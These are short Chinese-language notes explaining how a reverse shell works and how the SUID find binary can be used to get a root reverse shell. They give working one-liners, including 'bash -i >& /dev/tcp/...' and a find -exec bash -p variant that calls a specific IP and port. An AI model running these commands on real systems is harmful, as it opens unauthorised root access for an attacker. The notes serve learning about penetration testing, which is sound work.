反弹shell的原理:
通过受害主机运行攻击者的程序,主动与攻击主机进行tcp会话,同时攻击主机处于监听状态,之后一步一步提权
反弹shell:
1.指令:
bash -i >& /dev/tcp/ip/port 0>&1 2>&1
2.指令解析:
bash -i 创建一个shell会话
在介绍>&之前,先介绍以下描述符
描述符 :
0 标准输入
1 标准输出
2 错误输出
xx >& xx :
>&后面如果是文件的话,意思就是将前面的输出传进后面的文件里
如果后面是描述符,如0>&1就是将标准输入传入到标准输出
3.总结:
上述指令的含义是:将本地终端的标准输出传入到远程主机(bash -i >& /dev···),之后将远程主机的标准输入传入本地终端(0>&1),执行完成后将标准输出传入到远程主机,形成一个回环
find suid提权原理
通过具有suid权限的可执行二进制文件可以使得权限暂时提升为root用户,在当前任务线程中再实施反弹shell以此实现反弹shell的权限为root权限
find suid提权
find (有suid权限(ls -l查询后显示的权限有S如上图)的文件夹)-exec bash -p(这个参数是为了避免shell在本地与远程之间切换的时候保存权限) -c 'bash -i >& /dev/tcp/ip/port 0>&1'
note:一般情况下上面的指令可以用,但是不一般情况下用下面的指令
find anyfile -exec bash -i -p >& /dev/tcp/10.22.226.94/2238 0>&1 \;
效果: